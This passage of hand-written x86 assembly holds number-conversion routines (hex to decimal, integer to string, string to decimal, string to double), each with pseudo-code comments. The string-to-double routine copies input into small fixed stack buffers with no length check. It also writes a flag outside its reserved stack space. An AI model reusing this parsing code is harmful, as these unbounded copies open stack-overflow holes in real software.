eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 011: K = (hexadecimal_num / 10000) + J ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecimal_num mov ebx, 10000 xor edx, edx div ebx ;eax = eax / ebx mov ebx, [esp + 44] ;ebx = J add eax, ebx mov [esp + 48], eax ;K = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 012: L = 16 * K ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 48] ;eax = K mov ebx, 16 xor edx, edx mul ebx ;eax = eax * ebx mov [esp + 52], eax ;L = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 013: M = (hexadecimal_num / 1000) + L ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecimal_num mov ebx, 1000 xor edx, edx div ebx ;eax = eax / ebx mov ebx, [esp + 52] ;ebx = L add eax, ebx mov [esp + 56], eax ;M = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 014: N = 16 * M ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 56] ;eax = M mov ebx, 16 xor edx, edx mul ebx ;eax = eax * ebx mov [esp + 60], eax ;N = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 015: O = (hexadecimal_num / 100) + N ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecimal_num mov ebx, 100 xor edx, edx div ebx ;eax = eax / ebx mov ebx, [esp + 60] ;ebx = N add eax, ebx mov [esp + 64], eax ;O = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 016: P = 16 * O ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 64] ;eax = O mov ebx, 16 xor edx, edx mul ebx ;eax = eax * ebx mov [esp + 68], eax ;P = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 017: Q = (hexadecimal_num / 10) + P ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecimal_num mov ebx, 10 xor edx, edx div ebx ;eax = eax / ebx mov ebx, [esp + 68] ;ebx = P add eax, ebx mov [esp + 72], eax ;Q = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 018: R = 6 * Q ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 72] ;eax = Q mov ebx, 6 xor edx, edx mul ebx ;eax = eax * ebx mov [esp + 76], eax ;R = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 019: decimal_num = hexadecimal_num + R ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = hexadecimal_num mov ebx, [esp + 76] ;ebx = R add eax, ebx mov [esp + 4], eax ;decimal_num = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 020: exit( decimal_num ) ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .return: mov eax, [esp + 4] ;eax = decimal_num .clean_stackframe: sub ebp, 8 ;-8 offsets, to get initial esp mov esp, ebp ;restore esp to initial value mov ebp, [esp] ;restore ebp to initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### cvt_int2string: ;parameter 1 = integer_x:32bit ;parameter 2 = addr_out_string^:32bit ;parameter 3 = addr_out_strlen^:32bit ;parameter 4 = flag:32bit ;returns = --- .setup_stackframe: sub esp, 4 ;reserve 4 bytes to store ebp mov [esp], ebp ;store ebp mov ebp, esp ;store current stack ptr to ebp .get_arguments: add ebp, 8 ;+8 offset to get arguments mov eax, [ebp ] ;get integer_x mov ebx, [ebp + 4] ;get addr_out_string mov ecx, [ebp + 8] ;get addr_out_strlen mov edx, [ebp + 12] ;get flag .set_local_variables: sub esp, 56 ;reserve 56 bytes mov [esp ], eax ;integer_x mov [esp + 4], ebx ;addr_out_string mov [esp + 8], ecx ;addr_out_strlen mov [esp + 12], edx ;flag mov dword [esp + 16], 0 ;integer_x_len mov dword [esp + 20], 0 ;integer_x_quo mov dword [esp + 24], 0 ;integer_x_rem mov dword [esp + 28], 0 ;decimal_x[0] mov dword [esp + 32], 0 ;decimal_x[1] mov dword [esp + 36], 0 ;ascii_x[0] mov dword [esp + 40], 0 ;ascii_x[1] mov dword [esp + 44], 0 ;ascii_x[2] mov dword [esp + 48], 0 ;ascii_x_len mov dword [esp + 52], 0 ;is_negative ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Find the number of digits in integer_x ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: integer_x_len = find_int_digits( integer_x, flag ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 8 ;reserve 8 bytes mov eax, [esp + 8 ] ;get integer_x mov ebx, [esp + 8 + 12] ;get flag mov [esp ], eax ;arg1: integer_x mov [esp + 4], ebx ;arg2: flag call find_int_digits add esp, 8 ;restore 8 bytes mov [esp + 16], eax ;save return value ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Checks whether integer_x is signed or unsigned ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 002: if flag != 1, then ; goto .flag_notequal_1. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 12] ;eax = flag cmp eax, 1 jne .flag_notequal_1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; If integer_x is signed. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .flag_equal_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 003: if (integer_x & 0x80000000) != 0x80000000, then ; goto .sign_false. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = integer_x and eax, 0x80000000 cmp eax, 0x80000000 jne .sign_false ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; If integer_x is negative ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .sign_true: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; The integer_x is negative, and need Two's complement. ; ; 004: integer_x = (!integer_x) + 1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp] ;eax = integer_x not eax add eax, 1 mov [esp], eax ;integer_x = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Memorize the program that the integer_x is negative. ; ; 005: is_negative = 1; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 1 mov [esp + 52], eax ;is_negative = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; If integer_x is positive ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .sign_false: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; If integer_x is unsigned. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .flag_notequal_1: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: if integer_x_len > 8, goto .skip_int_x_len_le_8; ; .goto_int_x_len_le_8: ; 007: goto .integer_x_len_lessequal_8; ; .skip_int_x_len_le_8: ; ; Means, the number of digits in integer_x_len is ; less than or equal 8. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = integer_x_len cmp eax, 8 jg .skip_int_x_len_le_8 .goto_int_x_len_le_8: jmp .integer_x_len_lessequal_8 .skip_int_x_len_le_8: .integer_x_len_morethan_8: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 008: integer_x_quo = integer_x / 100000000; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = integer_x mov ebx, 100000000 xor edx, edx div ebx ;eax /= ebx mov [esp + 20], eax ;integer_x_quo = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: integer_x_rem = remainder from the division; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov [esp + 24], edx ;integer_x_rem = edx ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 010: decimal_x[0] = cvt_hex2dec( integer_x_rem ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 4 ;reserve 4 bytes mov eax, [esp + 4 + 24] ;get integer_x_rem mov [esp ], eax ;arg1: integer_x_rem call cvt_hex2dec add esp, 4 ;restore 4 bytes mov [esp + 28], eax ;save return value ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 011: decimal_x[1] = cvt_hex2dec( integer_x_quo ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 4 ;reserve 4 bytes mov eax, [esp + 4 + 20] ;get integer_x_quo mov [esp ], eax ;arg1: integer_x_quo call cvt_hex2dec add esp, 4 ;restore 4 bytes mov [esp + 32], eax ;save return value ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 012: cvt_dec2string( @decimal_x[0], ; 2, ; @ascii_x[0], ; @ascii_x_len ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes mov eax, esp mov ecx, esp mov edx, esp add eax, (16+28) ;get @decimal_x[0] mov ebx, 2 ;get num_of_blocks=2 add ecx, (16+36) ;get @ascii_x[0] add edx, (16+48) ;get @ascii_x_len mov [esp ], eax ;arg1: @decimal_x[0] mov [esp + 4], ebx ;arg2: num_of_blocks=2 mov [esp + 8], ecx ;arg3: @ascii_x[0] mov [esp + 12], edx ;arg4: @ascii_x_len call cvt_dec2string add esp, 16 ;restore 16 bytes ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 013: goto .skip_integer_x_len_equalmore_8; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .skip_integer_x_len_equalmore_8 .integer_x_len_lessequal_8: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 014: decimal_x[0] = cvt_hex2dec(integer_x); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 4 ;reserve 4 bytes mov eax, [esp + 4 ] ;get integer_x mov [esp ], eax ;arg1: integer_x call cvt_hex2dec add esp, 4 ;restore 4 bytes mov [esp + 28], eax ;save return value ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 015: cvt_dec2string( @decimal_x[0], ; 1, ; @ascii_x[0], ; @ascii_x_len ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes mov eax, esp mov ecx, esp mov edx, esp add eax, (16+28) ;get @decimal_x[0] mov ebx, 1 ;get num_of_blocks=1 add ecx, (16+36) ;get @ascii_x[0] add edx, (16+48) ;get @ascii_x_len mov [esp ], eax ;arg1: @decimal_x[0] mov [esp + 4], ebx ;arg2: num_of_blocks=1 mov [esp + 8], ecx ;arg3: @ascii_x[0] mov [esp + 12], edx ;arg4: @ascii_x_len call cvt_dec2string add esp, 16 ;restore 16 bytes .skip_integer_x_len_equalmore_8: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 016: if is_negative != 1, then ; goto .is_negative_false ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 52] ;eax = is_negative cmp eax, 1 jne .is_negative_false .is_negative_true: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 017: addr_out_string^ = 0x2d; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = addr_ascii_str mov ebx, 0x2d ;ebx = 0x2d mov [eax], ebx ;eax^ = ebx ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 018: ++ addr_out_strlen^; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ebx, [esp + 8] ;ebx = addr_out_strlen mov eax, [ebx] ;eax = ebx^ add eax, 1 ;eax += 1 mov [ebx], eax ;ebx^ = eax .is_negative_false: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 019: string_append( addr_out_string, ; addr_out_strlen, ; @ascii_x[0], ; ascii_x_len ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 16 ;reserve 16 bytes mov eax, [esp + (16 + 4)] ;get addr_out_string mov ebx, [esp + (16 + 8)] ;get addr_out_strlen mov ecx, esp add ecx, (16 + 36) ;get @ascii_x[0] mov edx, [esp + (16 + 48)] ;get ascii_x_len mov [esp ], eax ;arg1: addr_out_string mov [esp + 4], ebx ;arg2: addr_out_strlen mov [esp + 8], ecx ;arg3: @ascii_x[0] mov [esp + 12], edx ;arg4: ascii_x_len call string_append add esp, 16 ;restore 16 bytes .return: .clean_stackframe: sub ebp, 8 ;-8 offset to remove arguments mov esp, ebp ;restore stack ptr to initial value mov ebp, [esp] ;restore ebp to initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### cvt_string2dec: ;parameter 1 = addr_string:32bit ;parameter 2 = strlen:32bit ;parameter 3 = addr_decimal:32bit ;parameter 4 = addr_digits:32bit ;returns = --- .setup_stackframe: sub esp, 4 ;reserve 4 bytes to store ebp mov [esp], ebp ;store ebp mov ebp, esp ;store current stack ptr to ebp .get_parameters: add ebp, 8 ;+8 offset to get parameters mov eax, [ebp ] ;get addr_string mov ebx, [ebp + 4] ;get strlen mov ecx, [ebp + 8] ;get addr_decimal mov edx, [ebp + 12] ;get addr_digits .set_localvariables: sub esp, 48 ;reserve 48 bytes mov [esp ], eax ;addr_string mov [esp + 4], ebx ;strlen mov [esp + 8], ecx ;addr_decimal mov [esp + 12], edx ;addr_digits mov dword [esp + 16], 0 ;in_ptr mov dword [esp + 20], 0 ;in_buffer mov dword [esp + 24], 0 ;out_ptr mov dword [esp + 28], 0 ;out_buffer mov dword [esp + 32], 0 ;out_bitpos mov dword [esp + 36], 0 ;decimal_number mov dword [esp + 40], 0 ;digits mov dword [esp + 44], 0 ;i ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: in_ptr = addr_string; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp ] ;eax = addr_string mov [esp + 16], eax ;in_ptr = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 002: in_buffer = in_ptr^; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = in_ptr mov ebx, [eax] mov [esp + 20], ebx ;in_buffer = ebx ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 003: i = strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = strlen mov [esp + 44], eax ;i = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 004: if strlen != 0, goto .strlen_not_zero ; .strlen_zero: ; 005: goto .return; ; .strlen_not_zero: ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = strlen cmp eax, 0 jne .strlen_not_zero .strlen_zero: jmp .return .strlen_not_zero: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: if strlen > 8, then ; goto .decimal_num_2_blocks; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = strlen mov ebx, 8 ;ebx = 8 cmp eax, ebx jg .decimal_num_2_blocks .decimal_num_1_block: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 007: out_bitpos = (strlen - 1) * 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = strlen sub eax, 1 mov ebx, 4 xor edx, edx mul ebx ;eax *= ebx mov [esp + 32], eax ;out_bitpos = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 008: out_ptr = addr_decimal; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 8] ;eax = addr_decimal mov [esp + 24], eax ;out_ptr = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: goto .loop_get_decimal; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .loop_get_decimal .decimal_num_2_blocks: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 010: out_bitpos = (strlen - 9) * 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 4] ;eax = strlen sub eax, 9 mov ebx, 4 xor edx, edx mul ebx ;eax *= ebx mov [esp + 32], eax ;out_bitpos = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 011: out_ptr = addr_decimal + 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 8] ;eax = addr_decimal mov ebx, 4 add eax, ebx ;eax += ebx mov [esp + 24], eax ;out_ptr = eax .loop_get_decimal: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Check if in_buffer is empty ; ; 012: if in_buffer != 0, then ; goto .in_buffer_not_empty; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 20] ;eax = in_buffer cmp eax, 0 jne .in_buffer_not_empty .in_buffer_empty: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 013: in_ptr += 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = in_ptr add eax, 4 mov [esp + 16], eax ;in_ptr = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 014: in_buffer = in_ptr^; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 16] ;eax = in_ptr mov ebx, [eax] mov [esp + 20], ebx ;in_buffer = ebx .in_buffer_not_empty: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Check if out_buffer is full ; ; 015: if out_bitpos == -4, then ; goto .out_buffer_not_full; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = out_bitpos cmp eax, -4 jne .out_buffer_not_full .out_buffer_full: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 016: out_ptr^ = out_buffer; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 28] ;eax = out_buffer mov ebx, [esp + 24] ;ebx = out_ptr mov [ebx], eax ;ebx^ = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 017: out_ptr -= 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 24] ;eax = out_ptr sub eax, 4 ;eax -= 4 mov [esp + 24], eax ;out_ptr = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 018: out_buffer = 0; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - xor eax, eax mov [esp + 28], eax ;out_buffer = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 019: out_bitpos = 28; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, 28 mov [esp + 32], eax ;out_bitpos = eax .out_buffer_not_full: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Get a decimal number from the in_buffer ; ; 020: decimal_number = in_buffer & 0x0000000f; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 20] ;eax = in_buffer and eax, 0x0000000f mov [esp + 36], eax ;decimal_number = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 021: in_buffer >>= 8; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 20] ;eax = in_buffer shr eax, 8 ;eax >>= 8 mov [esp + 20], eax ;in_buffer = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Fill the decimal number into out_buffer ; ; 022: out_buffer |= decimal_number << out_bitpos; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 36] ;eax = decimal_number mov ecx, [esp + 32] ;ecx = out_bitpos shl eax, cl mov ebx, [esp + 28] ;ebx = out_buffer or eax, ebx mov [esp + 28], eax ;out_buffer = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 023: out_bitpos -= 4; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 32] ;eax = out_bitpos sub eax, 4 ;eax -= 4 mov [esp + 32], eax ;out_bitpos = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 024: ++digits; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp+ 40] ;eax = digits add eax, 1 mov [esp + 40], eax ;digits = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 025: --i; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 44] ;eax = i sub eax, 1 ;eax -= 1 mov [esp + 44], eax ;i = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 026: if i != 0, then ; goto .loop_get_decimal; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 44] ;eax = i cmp eax, 0 jne .loop_get_decimal .endloop_get_decimal: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Make sure the out_buffer is saved to addr_decimal^ ; ; 027: out_ptr^ = out_buffer; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 28] ;eax = out_buffer mov ebx, [esp + 24] ;ebx = out_ptr mov [ebx], eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 028: addr_digits^ = digits; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = digits mov ebx, [esp + 12] ;ebx = addr_digits mov [ebx], eax ;ebx^ = eax .return: .clean_stackframe: sub ebp, 8 ;-8 offset due to parameters mov esp, ebp ;restore esp to initial value mov ebp, [esp] ;restore ebp to initial value add esp, 4 ;restore 4 bytes ret ;##################################################################### cvt_string2double: ;parameter 1 = addr_instring:32bit ;parameter 2 = instrlen:32bit ;returns = double precision value (ST0) .setup_stackframe: sub esp, 4 ;reserve 4 bytes to store ebp mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack ptr to ebp .get_arguments: add ebp, 8 ;+8 offset to ebp, to get arguments mov eax, [ebp ] ;get addr_instring mov ebx, [ebp + 4] ;get instrlen .setup_localvariables: sub esp, 56 ;reserve 56 bytes mov [esp ], eax ;addr_instring mov [esp + 4], ebx ;instrlen mov dword [esp + 8], 0 ;intpt_str[0] mov dword [esp + 12], 0 ;intpt_str[1] mov dword [esp + 16], 0 ;intpt_str[2] mov dword [esp + 20], 0 ;intpt_strlen mov dword [esp + 24], 0 ;intpt_int mov dword [esp + 28], 0 ;decpt_str[0] mov dword [esp + 32], 0 ;decpt_str[1] mov dword [esp + 36], 0 ;decpt_str[2] mov dword [esp + 40], 0 ;decpt_strlen mov dword [esp + 44], 0 ;decpt_int mov dword [esp + 48], 0 ;decs mov dword [esp + 52], 0 ;heading_zeroes ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Separate string into ASCII integer part and ; ASCII decimal part. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 001: ESI = addr_string; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov esi, [esp] ;esi = addr_string ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 002: AL = ESI; ; 003: if AL != 0x2d, goto .positive; ; .negative: ; 004: is_negative = 1; ; 005: ++ ESI; ; .positive: ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov al, [esi] cmp al, 0x2d jne .positive .negative: mov eax, 1 mov [esp + 56], eax ;is_negative = eax add esi, 1 .positive: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 006: EDI = @intpt_str; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - lea edi, [esp + 8] ;edi = @intpt_str .loop_get_intpt: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 007: LODSB; ; 008: if AL == 0x2e, goto .endloop_get_intpt; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - lodsb cmp al, 0x2e je .endloop_get_intpt ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 009: EDI^ = AL; ; 010: ++ EDI; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov [edi], al add edi, 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 011: ++ intpt_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 20] ;eax = intpt_strlen add eax, 1 mov [esp + 20], eax ;intpt_strlen = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 012: goto .loop_get_intpt; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .loop_get_intpt .endloop_get_intpt: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 013: EDI = @decpt_str; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - lea edi, [esp + 28] ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; .loop_count_heading_zeroes: ; 014: LODSB; ; 015: if AL != 0x30, goto .endloop_count_heading_zeroes; ; 016: ++ heading_zeroes; ; 017: goto .loop_count_heading_zeroes; ; .endloop_count_heading_zeroes: ; 018: -- ESI; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov ecx, [esp + 52] ;ecx = heading_zeroes .loop_count_heading_zeroes: lodsb cmp al, 0x30 jne .endloop_count_heading_zeroes add ecx, 1 jmp .loop_count_heading_zeroes .endloop_count_heading_zeroes: mov [esp + 52], ecx ;heading_zeroes = ecx sub esi, 1 .loop_get_decpt: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 019: LODSB; ; 020: if AL == 0x00, goto .endloop_get_decpt; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - lodsb cmp al, 0x00 je .endloop_get_decpt ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 021: EDI^ = AL; ; 022: ++ EDI; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov [edi], al add edi, 1 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 023: ++ decpt_strlen; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - mov eax, [esp + 40] ;eax = decpt_strlen add eax, 1 mov [esp + 40], eax ;decpt_strlen = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 024: goto .loop_get_decpt; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - jmp .loop_get_decpt .endloop_get_decpt: ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; Convert intpt_str into intpt_int, and ; decpt_str into decpt_int. ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 025: intpt_int = cvt_string2int( @intpt_str, intpt_strlen ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 8 ;reserve 8 bytes lea eax, [esp + (8 + 8)] ;get @intpt_str mov ebx, [esp + (8 + 20)] ;get intpt_strlen mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 call cvt_string2int add esp, 8 ;restore 8 bytes mov [esp + 24], eax ;intpt_int = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 026: decpt_int = cvt_string2int( @decpt_str, decpt_strlen ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 8 ;reserve 8 bytes lea eax, [esp + (8 + 28)] ;get @decpt_str mov ebx, [esp + (8 + 40)] ;get decpt_strlen mov [esp ], eax ;parameter 1 mov [esp + 4], ebx ;parameter 2 call cvt_string2int add esp, 8 ;restore 8 bytes mov [esp + 44], eax ;decpt_int = eax ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; 027: decs = pow_int( 10, ; heading_zeroes + find_int_digits(decpt_int,0) ); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sub esp, 8 ;reserve 8 bytes mov eax, 